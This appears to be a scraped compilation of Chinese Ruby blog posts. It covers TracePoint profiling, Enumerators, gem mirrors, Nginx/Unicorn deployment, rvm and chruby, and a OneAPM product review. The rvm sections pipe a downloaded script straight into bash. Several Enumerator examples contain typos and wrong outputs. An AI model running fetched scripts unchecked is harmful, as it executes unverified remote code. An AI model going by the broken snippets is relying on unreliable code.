77653               :return              find_many_squares
77690               :call                find_many_square_roots
79681               :return              find_many_square_roots
79698               :call                find_many_squares
80288               :return              find_many_squares
80306               :return              main
80326               :call                disable

第一列显示的是被触发事件的 CPU time，第二列是被触发的事件名，第三列是被调用或返回的方法名。这个结果与在 Part I 中学习仪表分析器如何工作时看到的结果很相似。可以看到，我们能够轻松地通过这个结果重建调用，因为我们可以知道各个方法间的调用关系。写一个能解析这个结果并按执行时间有序显示方法列的脚本并不是很难。但这太无聊了，我们可以建造更有趣的东西。看着吧，下一部分将学习我们能够利用这些数据来做的其他事情。

概括

我们学习了 Ruby 的 TracePoint API 以及如何用它监听方法的调用和返回。同时我们整合写过的代码建立了一个能够显示 Ruby 程序的执行 trace 的 gem。在第四部分我们将学习如何有效利用 gem 收集到的数据并通过它们创造一些很酷的调用图。感谢阅读！如果你想要阅读 DIY CPU 分析系列的其他最新文章，请关注我们的 twitter @codemancershq.



OneAPM for Ruby 能够深入到所有 Ruby 应用内部完成应用性能管理和监控，包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。 想阅读更多技术文章，请访问 OneAPM 官方博客。


 [读书笔记] -  Ruby 中的 Enumerator

作者：springwq

来源： [读书笔记] -  Ruby 中的 Enumerator



                    
Enumerator - External Iterators


Ruby comes with a built-in Enumerator class, which implements external iterators in Ruby.


Create an Enumerator object


对 Collection (Array ,Hash) 调用 to_enum 方法，从而生成 Enumerator object


rubya = [1,3,"car"]
b = { dog: "canine", fox: "vulpine" }

# Create Enumerators
enum_a = a.to_enum
emum_h = h.to_enum

enum_a.next # => 1
emum_h.next # => [:dog, "canine"]
enum_a.next # => 3
enum_a.next # => [:fox, "vulpine"]



Most of the internal iterator methods will also return an Enumerator object if called without a block


rubya = [1,3,"cat"]
enum_a = a.each

enum_a.next # => 1
enum_a.next # => 3



Loop with Enumerator


When an enumerator object runs out of values inside a loop, the loop will terminate cleanly.


rubyshort_enum = [1,2,3].to_enum
long_enum = ('a'..'z').to_enum

loop do
  puts "#{short_enum.next} - #{long_enum.next}"
end

produces:

1 - a
2 - b
3 - c



Enumerators Are Objects


Enumerators take something that's normally executable code and turn it into an object.


each_with_index


This invokes its hose class's each method, returning successive values with an index


ruby['a', 'b', 'c'].each_with_index { |item, index| result << [item, index] }

result # => [["a",0], ["b",1], ["c",2]]



each_char


The each_char method of strings will return an enumerator is you don't give it a block


result = []
"cat".each_char.each_with_index {|item, index| result << [item, index]}
result # => [["c", 0],["a",1],["t",2]]



each_with_index 也可以简写为 with_index 如果对象是 Enumerator


Create the Enumerator object explicitly


We can call to_a on an enumerator to iterate over it


rubyenum = "car".enum_for(:each_char)
enum.to_a # => ["c","a","t"]



如果方法支持参数，也可以传进去


rubyenum_in_threes = (1..10).enum_for(:each_slice, 3)
enum_in_threes.to_a # => [[1,2,3],[4,5,6],[7,8,9],[10]]



Enumerators Are Generators and Filters


Create an explicit enumerator and passing it a block.


rubytriangular_numbers = Enumerator.new do |yielder|
  number = 0
  count  = 1
  loop do
    number += count
    count += 1
    yielder.yield number
  end
end

5.times { print triangular_numbers.next, " " }
puts

# => 1 3 6 10 15



Enumerator objects are also enumerable


rubytriangular_numbers = Enumerator.new do |yielder|
  number = 0
  count  = 1
  loop do
    number += count
    count += 1
    yielder.yield number
  end      
end

p triangular_numbers.first(5)

# => [1, 3, 6, 10, 15]



&block notation


rubytriangular_numbers = Enumerator.new do |yielder|
  number = 0
  count  = 1
  loop do
    number += count
    count += 1
    yielder.yield number
  end      
end

def infinite_select(enum, &block)
  Enumerator.new do |yielder|
    enum.each do |value|
      yielder.yield(value) if block.call(value)
    end
  end
end

p infinite_select(triangular_numbers) { |val| val 5 10 == 10 }.first(5)



Lazy Enumerators in Ruby 2


None of the lazy versions of the methods actually consume any data from the collection until that data is requested.


rubydef Integer.all
  Enumerator.new do |yielder, n: 0|
    loop { yielder.yield(n += 1) }
  end.lazy
end

p Integer.all.first(10)
# => [1,2,3,4,5,6,7,8,9,10]
p Integer.all.select {|i| (i % 3).zero?}.first(10)
# => [3,6,9,12,15,18,21,24,27,30]



 gem源替换成淘宝的源

作者：姜家志

来源： gem源替换成淘宝的源



                    
由于大家都知道的原因，国内的访问国外网站会比较慢，或者根本不能访问。
所以gem的源替换成https://ruby.taobao.org/

先来看看当前使用的gem源

gem source -l



\*\*\* CURRENT SOURCES \*\*\*
https://rubygems.org/


把当前的gem源删除

gem sources --remove https://rubygems.org/



https://rubygems.org/ removed from sources


添加淘宝的gem源

gem sources -a https://ruby.taobao.org/



https://ruby.taobao.org/ added to sources


再看下当前使用的源

gem source -l



https://ruby.taobao.org/


淘宝gem源替换成功


 Nginx with Unicorn to serve your rails app

作者：小创

来源： Nginx with Unicorn to serve your rails app



                    
This is currently the most popular solution to serve rails apps and is used by many big companies like Github, tweet, 37signals and so on. Also, it is very easy to setup in this way.

Config unicorn

Install gem unicorn:

Put gem ‘unicorn’ in Gemfile
then bundle install

Edit unicorn config file

Vim config/unicorn.rb under your rails app root dir.  
content:

# The ONLY two things you should change, if you don’t need any specialty.
app_name = "your_app_name"
number_of_app_instances = 2
# Set the working application directory. This should be your rails app root dir, not the public dir
app_root = File.expand_path(File.dirname(__FILE__) + '/..')
working_directory app_root

# File to store unicorn pid
# pid "/path/to/pids/unicorn.pid"
pid "#{app_root}/tmp/pids/unicorn.pid"

# Path to logs
# stderr_path "/path/to/log/unicorn.log"
# stdout_path "/path/to/log/unicorn.log"
stderr_path "#{app_root}/log/unicorn.log"
stdout_path "#{app_root}/log/unicorn.log"

# Unicorn socket
listen "/tmp/unicorn.#{app_name}.sock"

# Number of processes
worker_processes number_of_app_instances

# Time-out
timeout 30

Nginx config

Install nginx

sudo apt-get update
sudo apt-get install nginx

Default nginx config file would be located in /etc/nginx

Nginx config file

Add a file in sites_available and put content:

upstream app {
    # Path to Unicorn SOCK file, as defined previously
    server unix:/tmp/unicorn.your_app_name.sock fail_timeout=0;
}

# configure server for your app
server {
    listen 80;
    server_name yourdomain.com www.yourdomain.com;
    root /path/to/your/rails/root/public;

    location ^~ /assets/ {
        gzip_static on;
        expires max;
        add_header Cache-Control public;
    }

    try_files $uri @app;
    location @app {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_redirect off;
        proxy_pass http://app;
    }
}

Make a soft link in sites-enabled to the above nginx config file

Reload nginx

sudo service nginx restart

Start serving

Compile assets: rake assets:precompile

If you only want to server your app in development environment, you don't need this step.

Start unicorn in production

bundle exec unicorn -c config/unicorn.rb -E production

更多文章请访问个人博客  
作者：邹小创  
Github  
微博  
邮件：happystriving@126.com


 【ROR】基础1-新建项目

作者：丁一鸣

来源： 【ROR】基础1-新建项目



                    
Ruby on Rails 目录结构

+ app/  #控制器、模型、视图、帮助方法、邮件、静态资源
+ bin/  #rails脚本
+ config/ #路由、数据库等
+ db/     #数据库模式、迁移文件
+ lib/    #扩展模块
+ log/    #日志
+ public/ #公共资源
+ test/   #单元测试
- config.ru #Rack服务器的程序设置、用于启动程序
- Gemfile,Gemfile.lock #指定Gem依赖，用于bundler gem
- Rakefile #保存并加载可在命令行中执行的任务，可添加任务在lib/tasks中

新建项目

rails new blog

bundle install #gem安装依赖


	gem源切换为 http://mirrors.aliyuncs.com/rubygems/


	gem包即ruby包，使用Bundler工具，http://bundler.io/




运行

rails server

访问localhost:3000


 【Ruby】语法笔记一

作者：丁一鸣

来源： 【Ruby】语法笔记一



                    
	接受用户输入




first_name = gets.chomp

	首字母大写




first_name.capitalize!

	字母变大写




first_name.upcase!

	字母变小写




first_name.downcase!

	多行输出




print <<EOF
   # 多行输出
EOF

	注释




# 我是注释

	变量获取




#{first_name}


	
变量


	全局变量 $


	类变量 @@


	方法变量 @


	局部变量 小写字母或_






	if/else




if a < b
    puts '1'
elsif b < a
    puts '2'
end        

	类




class Classname
    def functionname(params)
        puts params
    end
end

class1 = Classname.new
class1.functionname('1')

	unless




unless false
    print 'ok'
else
    print 'no'
end        

	是否包含字符




print 'puts'

user_input = gets.chomp

user_input.downcase!

if user_input.include?"s"
   print 'has s'
end

	替换字符




# s -> th
user_input.gsub!(/s/,"th")

	在字符串中输出变量值




puts 'okok #{user_input}'

	while




counter = 1

while counter < 11
    puts counter
    counter = counter + 1
end


	Until




counter = 1
until counter > 10
    print counter
    counter = counter + 1
end    


	+= 、 -= 、 *=、 /=




Some languages have the increment operators ++ and -- (which also add or subtract 1 from a value), but Ruby does not



	for循环




# 如果 1...10 包含1-9，如果 1..10 包含1-10

for num in 1...10
    puts num
end    

	Loop Method




An iterator is just a Ruby method that repeatedly invokes a block of code.



i = 20
loop do
    i -= 1
    print "#{ i }"
    break if i <= 0
end    

	Next




i = 20
loop do
  i -= 1
  next if i%2 != 0
  print "#{i}"
  break if i <= 0
end

	数组




my_array = [1,2,3,4,5]

	The .each Iterator迭代器




numbers = [1, 2, 3, 4, 5]

# one way to loop
numbers.each { |item| puts item }

# another way to loop
numbers.each do |item|
  puts item
end

	The .times Iterator 次数迭代器




10.times { print 'ok'})

	Looping with 'While'




num = 1

while num <= 50 do
    print num
    num += 1
end    

	Looping with 'Until'




num = 1
until num > 50 do
    print num
    num += 1
end    

	Loop the Loop with Loop




num = 0

loop do
    num += 1
    print "Ruby!"
    break if num == 30
end    


	The .split Method,




text.split(",")

puts "Text to search through: "
text = gets.chomp
puts "Word to redact"
redact = gets.chomp

words = text.split(" ")

words.each do |word|
    print word
end



 【Ruby】基础知识

作者：丁一鸣

来源： 【Ruby】基础知识



                    
学习http://www.jikexueyuan.com/course/766.html记录



Ruby的安装


	
注意点


	OSX或linux较好


	不同版本的实现：c++、C、java


	本次C Ruby






	
安装方法


	linux或OSX都有预装


	包管理器（apt、yum、brew）,并非最新


	版本控制系统：rvm(rvm.io)、rbenv






	
rvm

	查看ruby版本








rvm list known

	安装




rvm install  2.2.1

	帮助




rvm --help

用户手册 ： man rvm


	
rbenv

	OSX下用brew安装






	windows下安装通过rubyInstaller


	学习资料


	工具


	部署平台linux下


	
通用安装方法 ： 源代码编译，步骤


	官网下载解压缩


	./config


	make


	make install 放到path路径下


	ruby -v查看版本








Ruby的运行


	两种方式：


	
交互式：


	1.使用Ruby命令 ： ruby


	2.irb : irb






	
编写程序文件(.rb)

	1.将程序保存在文件中，使用Ruby命令进行








vim hello.rb

puts "hello world"

def hello(name)
  puts "hello #{name}"
end

hello('mac')

ruby hello.rb

Ruby的文档系统


	RDoc : 文档生成工具


	Ri ： 阅读RDoc文档




ri Mina

ri --serve  浏览器浏览文档 //localhost:8214


 ruby之道（工具篇）：在CentOS7下搭建ruby on rails开发环境

作者：xiangchaobin

来源： ruby之道（工具篇）：在CentOS7下搭建ruby on rails开发环境



                    
1、安装rvm

curl -L https://get.rvm.io | bash -s stable

rvm是一个命令行工具，提供多版本ruby环境的管理和切换，还可以根据项目管理不同的gemset。

如果没有生成ssh key，这一步可能会失败，直接ssh-keygen生成key之后再执行安装即可。

还可能遇到gpg有关的问题：根据提示执行：gpg2 --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3。如果失败的话，执行：command curl -sSL https://rvm.io/mpapis.asc | gpg2 --import - 。然后再安装一次rvm，根据安装提示进行一些操作。然后rvm -v就能看到rvm安装上了。

如果安装不上，可以尝试连接vpn后再安装。

2、使用rvm安装你需要的ruby版本

rvm install 2.1.1

这里我安装的是ruby 2.1.1版本。


 更简单灵活地管理 Ruby 版本

作者：darkbaby123

来源： 更简单灵活地管理 Ruby 版本



                    
概述

这篇文章教你怎么用 ruby-install 和 chruby 这两个工具来管理和切换 Ruby 版本，相对 RVM 和 rbenv 来说这是一个更加轻量级且绿色环保的组合。

为什么不用 RVM 或者 rbenv

首先说明一点，切换 ruby-install 和 chruby 并不是因为它们有什么独一无二的特性。它们能做到的事情 RVM 和 rbenv 都可以做到。如果你用着现有的工具感觉良好，也没有尝鲜的打算，完全可以不换。

那我为什么要换？对我而言有几个原因：


	我想用一个 Homebrew 可以管理和升级的工具。


	最好是工具不升级也可以安装最新的 Ruby 版本。


	功能和实现都很简单。因为我只需要安装和切换不同的 Ruby 版本，不需要其他的功能。




关于最后一点我想多说几句，最近一年我对软件的看法有些改变。对我而言好的软件最重要的是 简单够用 。我不想为用不到的功能买单，它们可能增加潜在的复杂度和维护成本。我也不喜欢软件为了达到功能做了太多 hack ，这会影响它跟其他软件组合使用的轻松程度，进而影响未来替换它的轻松程度。我以前一直在用 RVM ，这次本来准备换成 rbenv ，但当我看了 rbenv 对 shim 的大堆解释 后觉得这不是我想要的理想替代品。正好前几天同事推荐 chruby ，@Hooopo 的这篇文章 也让我觉得这应该是个不错的玩意（希望没拼错那几个 o），于是就果断删了 RVM 切换过去了。过程比我想得还要轻松许多。

使用 ruby-install & chruby

这其实是两个工具，ruby-install 只负责下载、编译和安装多个 Ruby 版本，chruby 负责切换。它们的名字就是命令行的名字，所以你需要用到两个命令（但都非常简单）。你可以点它们的名字去 Github 看 README.md 。下面我只提供基本用法的例子（用的 Homebrew）：

安装 ruby-install

brew install ruby-install

安装指定 Ruby 版本

ruby-install ruby 2.2.3

安装 chruby

brew install chruby

切换 Ruby 版本

chruby ruby-2.2.3

然后在 .bashrc 或者 .bash_profile 里加入脚本（具体路径最好照官方说明来）。第一个脚本加载 chruby ，第二个脚本控制自动切换（按 .ruby-version 文件）。

source /usr/local/opt/chruby/share/chruby/chruby.sh
source /usr/local/opt/chruby/share/chruby/auto.sh

关于默认 Ruby 版本，chruby 没有这种命令，但我们需要的只是 “在适当的时候让 chruby 自动切换到指定版本” 。chruby 会从当前目录向上一层层地找 .ruby-version 文件，所以你只要把默认 Ruby 版本写在 ~/.ruby-version 里就可以了，以此类推，如果需要在任何目录下都能切换到默认版本，你可以考虑 /.ruby-version，我没这个需求，就没有尝试。

在命令提示符里显示 Ruby 版本

这几乎是 Ruby 开发的 “刚需” 了。我是自己写了个简单的脚本做到这点的。原理很简单，用 ruby --version 显示当前使用的版本，截取版本号再插入提示符就行了（修改 PS1 变量）。以我的 bash 举例子：

# 如果当前目录有 Gemfile 就显示 Ruby 版本；如果有 package.json 就显示 Node.js 版本，否则什么都不显示。
# 结果大概会显示成 ruby@2.2.3 或者 node@5.0.0
function env_version {
  if [ -e ./Gemfile ]; then
    # ruby 2.2.2p95 (2015-04-13..) -> 2.2.2p95 -> 2.2.2
    echo "ruby@$(ruby --version | awk '{print $2}' | awk -F'p' '{print $1}') ";
  elif [ -e ./package.json ]; then
    # v4.2.1 -> 4.2.1
    echo "node@$(node -v | awk -F'v' '{print $2}') ";
  else
    echo "";
  fi
}

# 用 $() 嵌入 env_version 的结果
PS1="$(env_version)"

我自己用的 PS1 变量显示了路径，Ruby/Node.js 版本，和 Git 分支名。感兴趣的可以参考 我的 dotfile，最终效果大概如此：

~/workspace/my-project ruby@2.2.2 [staging] $

最后附带一点，如果不想频繁地敲 bundle exec xxx ，可以看看文末链接的 Automating bundle exec 。这是一个简单的 alias 脚本。不过我在同事的 rbenv 环境上没试成功，不确定是不是受 rbenv 的 shim 影响。如果是的话，这也侧面证明了 less hack 的好处。

参考链接

Install Ruby The "Postmodern" Way
Programmer's guide to choosing a Ruby version manager
Automating bundle exec
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在第一部分中我们学习了 CPU 分析的含义和进行 CPU 分析的两种方法，点此处回顾第一篇精彩内容。在这一部分我们将研究 CPU time 和 Wall time，这些部分总被用来测量执行开销。我们也会写一些实现这些测量方法的代码作为建立 CPU 分析的第一步。

Part II. CPU time 和 Wall time

Wall time

Wall time 是在一个方法被调用和返回之间的真实时间。因此，如果你想要测量一个方法执行的 「Wall clock time」，理论上可以用秒表来测量。只要在方法开始执行时打开秒表，在方法返回时按下停止。这个时间通常也被称为真实时间。

关于 Wall time 很重要的一点是，可以预见，每次试图测量同一段代码可能得到不同的结果。这是因为一系列后台进程会影响 Wall time. 当 CPU 同时运行多个进程的时候，操作系统给同时运行的进程排期并且试图为它们公平的分配 CPU 空间。这意味着 CPU 花费的总时间被分成多个片而我们的方法只占用其中的一些时间片。因此，当 Wall clock 开始计时，我们的进程可能会闲置并且为并行运行的其他进程让路。这意味着花费在其他进程的时间将增加我们的 Wall time!

CPU time

CPU time 是指 CPU 执行方法的时间。CPU time 的度量单位是用于执行方法的 CPU 时钟周期。如果我们了解 CPU 频率，它的单位是周期每秒，也可以称作赫兹，那么我们可以将其转换为时间。如果 CPU 执行某一方法花了 x 个时钟周期，这个 CPU 频率是 y 赫兹，那么 CPU 执行方法的时间为 x/y 秒。有时操作系统会为我们自动进行转换从而使我们免于进行这种计算。

CPU 时间不等同于 Wall time，其中的差别在于方法的指令类型。我们可以宽泛的将指令分为两种类型：CPU 密集型 和 I/O 密集型. 在执行 I/O 指令时，CPU 空闲下来可以转去执行其他 CPU 密集型指令。因此，如果我们的方法在 I/O 指令上花费时间，CPU 可以不把时间投入在该方法上，而是去处理其他事情，直到 I/O 操作完成。    这段时间内 Wall time 在计时而 CPU time 停止计时，落后于 Wall time.

我们来看看一个需要5分钟来执行的慢方法的情况。如果想知道这个方法花费了多长时间，你的 Wall clock 可以显示「执行该方法需要五分钟」，但 CPU 会显示「执行该方法中用时 3 分钟」。所以应该听从哪一个说法呢？究竟哪个时间能够更准确的测量执行方法的时间？

答案是：看情况。这取决于你希望测量的方法的类型。如果该方法的大部分时间用于 I/O 操作，或者该方法没有直接处理 CPU 密集型指令，由 CPU time 描述的时间开销将十分不准确。对于这些类型的方法，通过 Wall time 来测量时间更加合适。而对于其他情况，坚持通过 CPU time 来测量是很可靠的。

测量 CPU time 和 Wall time

鉴于想要写一个 CPU 分析器，我们需要一种测量 CPU time 和 Wall time 的方法。下面来看一看已经能够测量这两项的 Ruby 的 Benchmark module 中的代码。

def measure(label = "") # :yield:
  t0, r0 = Process.times, Process.clock_gettime(BENCHMARK_CLOCK)
  yield
  t1, r1 = Process.times, Process.clock_gettime(BENCHMARK_CLOCK)
  Benchmark::Tms.new(t1.utime  - t0.utime,
                     t1.stime  - t0.stime,
                     t1.cutime - t0.cutime,
                     t1.cstime - t0.cstime,
                     r1 - r0,
                     label)
end

由此可见，Ruby 通过两种进程类中的方法来测量时间：


	通过times测量 CPU time.


	通过clock_gettime来测量真实时间，也就是 Wall time.




但是times方法返回的结果为1秒，这表示通过分析器用times只能测量仅需要几秒就能完成的 方法的 CPU time. 然而clock_gettime就有趣多了。

clock_gettime

Process::clock_gettime是早在 Ruby 2.1 版本就已经被添加的方法，它使用 POSIX clock_gettime()功能并回退到 OS 仿真来获得时间以防clock_gettime在 OS 中失效或无法实施。该功能接受clock_id及时间结果作为参数。有很多可以被选为这种计时器的clock_ids，但我们感兴趣的是：


	CLOCK_MONOTONIC: 这个计时器测量逃走的 Wall clock time，因为过去的任意时间点不会被系统时钟的变化影响，最适合测量 Wall time.


	CLOCK_PROCESS_CUPTIME_ID: 这个计时器测量每一个进程的 CPU time，意即计算进程中所有线程的时间。我们可以用它来测量 CPU time.




让我们利用这个来写一些代码：

module DiyProf
  # These methods make use of `clock_gettime` method introduced in Ruby 2.1
  # to measure CPU time and Wall clock time.

  def self.cpu_time
    Process.clock_gettime(Process::CLOCK_PROCESS_CPUTIME_ID, :microsecond)
  end

  def self.wall_time
    Process.clock_gettime(Process::CLOCK_MONOTONIC, :microsecond)
  end
end

可以在 benchmark 代码中使用这些方法：

puts "****CPU Bound****"
c1, w1 = DiyProf::cpu_time, DiyProf::wall_time
10000.times do |i|
  Math.sqrt(i)
end
c2, w2 = DiyProf::cpu_time, DiyProf::wall_time
puts "CPU time\t=\t#{c2-c1}\nWall time\t=\t#{w2-w1}"

puts "\n****IO Bound****"
require 'tempfile'

c1, w1 = DiyProf::cpu_time, DiyProf::wall_time
1000.times do |i|
  Tempfile.create('file') do |f|
    f.puts(i)
  end
end
c2, w2 = DiyProf::cpu_time, DiyProf::wall_time
puts "CPU time\t=\t#{c2-c1}\nWall time\t=\t#{w2-w1}"

运行这些代码会得出类似以下的结果：

****CPU Bound****
CPU time    =    5038
Wall time    =    5142

****IO Bound****
CPU time    =    337898
Wall time    =    475864

这些清楚地展现了单个 CPU 内核的情况，在仅运行 CPU 密集型指令时 CPU time 和 Wall time 几乎相等，而运行 I/O 密集型指令时 CPU time 总是少于 Wall time.

概括

我们学习了 CPU time 和 Wall time 的含义与差异，以及什么时候用哪种。与此同时，写了一些 Ruby 代码来测量 CPU time 和 Wall time 来为我们做的 CPU 分析器测量时间。在第三部分我们将讨论 Ruby TracePoint API 并利用它做一个仪表分析器。



OneAPM for Ruby 能够深入到所有 Ruby 应用内部完成应用性能管理和监控，包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。 想阅读更多技术文章，请访问 OneAPM 官方博客。
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【编者按】本文参考技术分享 ，由 OneAPM 工程师补充整理，并且已经征得原作者的同意。

为什么选择 OneAPM ?

在性能监控领域，业界比较有名的是 New Relic 还有 Appdynamic，不过这两家公司都在在国外，在国内访问速度很慢暂且不提，毕竟，国外的东西说不定啥时候就被那个啥了(你懂的)，所以笔者一直在等待中国也有类似的产品出来。在国内的话，首先访问会比较快，而且只有中国人才最懂中国人，做出来的产品也会符合中国用户的审美和需求。如果这个产品稳定、口碑好、不出问题，那就是很不错的选择，国内最早开始深耕应用性能管理行业的 OneAPM 应该就是一个典型的代表。另外，OneAPM 使用起来很简单，官网有一些教程，按照那教程，只需花费几分钟的时间，操作几个步骤就可以搞定了，笔者使用了 Ruby Insight，装一个 gem 就能搞定，然后页面性能监控（Bi）甚至自动起来了，完全避免了手动部署的麻烦。

使用 OneAPM 监控 Ruby 应用

登录 OneAPM 官网，注册账号，进入主页面，选择「应用监控」，添加一个应用，选择「Ruby」那个 tab，里面列出了5个步骤，按照这些步骤就可以设置成功：


	第一步是把授权编号复制，这个是要用到的。


	第二步是复制 oneapm.yml 文件存放到 config 目录下。这个是主要的配置文件。刚才复制的授权编号也是要放到这个文件中的。


	第三步是把那个 gem 添加到 Gemfile 文件，并进行 bundle install 就好了。




现在主要的问题是第二步，那个配置文件里面的项目名和你建立的应用的项目名的对应。

License_key 就是授权编号，一段字符串，为了保密，笔者是存到配置文件中的。其他的内容都基本没改，唯一有改的地方就是 app_name，这个名字就是要跟你建立的 OneAPM 应用的名字一致才行。

笔者在线上就有一个 OneAPM 应用就叫 Rails365，把里面的 app_name 替换成 Rails365 就好了。

按照官方教程说的，重新启动并部署你的项目，试着访问几个页面，稍等片刻，就能很快在 OneAPM 的监控页面上看到数据了。

或许用 Rails 的 Notifications 结合 Hightcharts 图表显示也能实现类似 OneAPM 的效果，至少能得到每个页面的访问时间，数据库语句的执行时间，但是现在有更方便的 OneAPM，我们就可以尝试去用它。如果要进一步，还可以去研究那个 gem 的源码，知道它是如何实现的。

OneAPM for Ruby

来简单说说 Ai Ruby 探针的功能：

安装好 OneAPM Ruby Agent 之后进入总览页面，能够对 Web 事务响应时间，Apdex 值（满意度），吞吐量，Web 慢事务，错误率，服务器信息，告警事件有个总体了解。

比较中意 Web 事务的功能，可以点进具体事务进行分析。如图，点进 Web 事务功能后，可以看到响应时间占比最高的事务。

为了分析慢事务原因，点进 articles/index 这个较慢的事务，通过 Breakdown Table 可以看到事务的细分内容。

对数据库，外部服务也可以进行监控，能监控到 SQL 语句。对 RubyVM 的监控也是有的。

错误信息功能也比较有用，不仅可以看到错误发生的时间、次数、类型、请求地址，还能看到详细的堆栈信息，显示代码行数。


关于应用监控的各种配置，可以在「应用设置」中自行修改，这一点还是比较灵活易用的。


OneAPM 的网站监控平台（Browser Insight）

在网站开发完成并且上线之后，随着业务的完善与增多，访问网站的人也越来越多，这个时候你就需要维护网站了。不仅仅是业务上的维护，还包括运维，监控等。你可能会监控每天的访问量有多少，增长了没，这个时候可以用常用的 Google Analyse，百度统计，站长工具等来完成。不过，这些工具主要统计浏览量，来源分析等，进而帮助公司运营人员的决策，营销推广，可是，网站的访问量上来之后，必定会遇到性能瓶颈。这个时候就需要找出那些低性能代码或影响页面加载等问题的来源，页面性能监控软件就变得尤为重要了。通过观察每个页面的访问时间来查看哪些页面甚至哪些代码是有问题或者可以优化的，OneAPM 的 Browser Insight（Bi）就是解决这个事情的。它能帮助网站进行性能监控，包括页面的响应时间、AJAX 错误、脚本错误等。

（一）总览页面

下图是总览页面，由于屏幅的问题没有截取全。在 Bi 的总览页面我们可以看到该功能的大概显示，包括响应时间、Web 事务、页面 Trace 以及分地域的页面加载时间等，让研发或者运维对监控的页面有一个大概的了解。

从左边的功能列表可以看到， OneAPM 的 Bi 主要是从受访页面、AJAX、脚本错误、浏览器、地理和运营商这几个维度来监控分析前端页面的。



（二）受访页面

下图是受访页面的功能页面，可以看到，不但从 5 个维度分解了加载时间，而且还有加载时间的排序，甚至有慢加载追踪，可以比较详细的定位到各种资源加载。



还有一个值得说下的是受访页面的这几个加载时间的维度的区分，OneAPM 做的比较有自己的特点，在总览页面有对于几个时间的具体分析注释。 



（三）AJAX、页面错误

这两个维度分别从 AJAX 和 HTTPS 角度来分析监控页面的错误或者时间缓慢的调用页面，虽然维度不一样但是界面比较相似，就不给大家一一列举了，简单看一下界面就好了。




（四）浏览器、运营商、地理

这三个功能应该算是 OneAPM 的 Bi 的另外一个核心功能点了，浏览器可以按照将访问页面的浏览器一一识别出来，方便研发或者运维人员有针对性的优化页面。


地理界面可以从国内还有国外两个维度查看访问被监控页面的响应时间等，国内的还可以深入到地级市的使用加载情况。


运营商界面是针对于网络运营商的监控，可以看到各个运营商所提供的网速的情况，而且还可以区分网络制式，做的确实很精细了。



总结

或许通过其他工具例如 Rails 的 Notifications 结合 Hightcharts 图表也能有类似的效果，但是 OneAPM 确实很方便实用的达到了性能监控分析的这一目的。从国内来讲，OneAPM 确实是性能监控方面比较靠得住的厂家，大家可以免费注册试用一下。

OneAPM for Ruby 能够深入到所有 Ruby 应用内部完成应用性能管理和监控，包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章，请访问 OneAPM 官方博客。
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每次都要查，真是蛋疼，不如一次性总结一下，以后再不记得就来这里找好了。
以下代码中需要用到的文件名：filename = ‘testfile.txt’


	读取其中的全部内容：File.read(filename)


	将一个字符串一次性写入这个文件：
File.write(filename, str)


	读取文件内容，依次处理其中的每一行：




File.foreach(filename) do |line|
    #process each line
end


	判断文件是否存在：File.exists?(filename)


	删除文件：File.delete(filename)


	文件重命名：File.rename(filename, new_name)


	文件的名字：file.path  # file是一个File对象


	文件的绝对路径：File.absolute_path(filename)


	当前所在目录：Dir.pwd


	当前登录用户的home目录：Dir.home


	创建文件夹：Dir.mkdir(dir_name) #注意，如果父目录不存在的话，这里无法创建子目录


	删除文件夹：Dir.rmdir(dir_name)


	创建多级目录(mkdir -p)：FileUtils.mkdir_p(path) #这里需要require fileutils


	找出当前目录下的所有文件或目录：Dir.glob("*")


	找出当前目录下的所有Ruby文件：Dir.glob("*.rb")


	判断目录是否存在：Dir.exists?(dir_name)


	用文件夹和文件组成一个路径：File.join(dir_name, filename)


	当前文件（正在执行的文件）相对于当前所在目录（pwd目录）的相对路径：__FILE__


	当前文件（正在执行的文件）的目录相对于当前所在目录（pwd目录）的相对路径：File.dirname(__FILE__)


	当前文件（正在执行的文件）的绝对路径：File.expand_path(__FILE__)


	当前文件（正在执行的文件）所在目录的绝对路径：File.expand_path(File.dirname(__FILE__))




最后附上File.open(filename, mode) 中的mode各种取值以及含义：



	Mode
	Meaning





	"r"
	Read-only, starts at beginning of file  (default mode).



	"r+"
	Read-write, starts at beginning of file.



	"w"
	Write-only, truncates existing file, to zero length or creates a new file for writing.



	"w+"
	Read-write, truncates existing file to zero lengthor creates a new file for reading and writing.



	"a"
	Write-only, starts at end of file if file exists, otherwise creates a new file for writing.



	"a+"
	Read-write, starts at end of file if file exists, otherwise creates a new file for reading and writing.



	"b"
	Binary file mode (may appear with any of the key letters listed above). Suppresses EOL <-> CRLF conversion on Windows. And sets external encoding to ASCII-8BIT unless explicitly specified.



	"t"
	Text file mode (may appear with any of the key letters listed above except "b").





有任何意见或建议，或者发现文中任何问题，欢迎留言！

更多文章请访问个人博客
作者：邹小创
Github：https://github.com/ChrisZou
邮件：happystriving@126.com


 如何在Mac 终端升级ruby版本

作者：Mingdy

来源： 如何在Mac 终端升级ruby版本



                    
rvm是什么？为什么要安装rvm呢，因为rvm可以让你拥有多个版本的Ruby，并且可以在多个版本之间自由切换。
第一步：安装rvm

$ curl -L get.rvm.io | bash -s stable
$ source ~/.rvm/scripts/rvm

	等待终端加载完毕,后输入：




rvm -v

如果能显示版本好则安装成功了。

第二步：安装ruby

	列出ruby可安装的版本信息




rvm list known

	安装一个ruby版本




rvm install 2.1.4

如果想设置为默认版本，可以用这条命令来完成

rvm use 2.1.4 --default 

	查看已安装的ruby




rvm list

	卸载一个已安装ruby版本




rvm remove 2.1.4

第三步：更换源

	查看已有的源




gem source

显示会如下：

CURRENT SOURCES
http://rubygems.org/

	然后我们需要来修改更换源（由于国内被墙）所以要把源切换至淘宝镜像服务器 在终端执行以下命令




$ gem update --system
$ gem uninstall rubygems-update
$ gem sources -r http://rubygems.org/
$ gem sources -a http://ruby.taobao.org


 ruby编译scss出现invalid GBK错误

作者：点不着蚊香

来源： ruby编译scss出现invalid GBK错误



                    
问题描述


在windows7上面，通过ruby编译scss时，发现编译报错，内容如下：



Conversion error: Jekyll::Converters::Scss encountered an error while converting 'css/main.scss':
                         Invalid GBK character "\xE3" on line 315


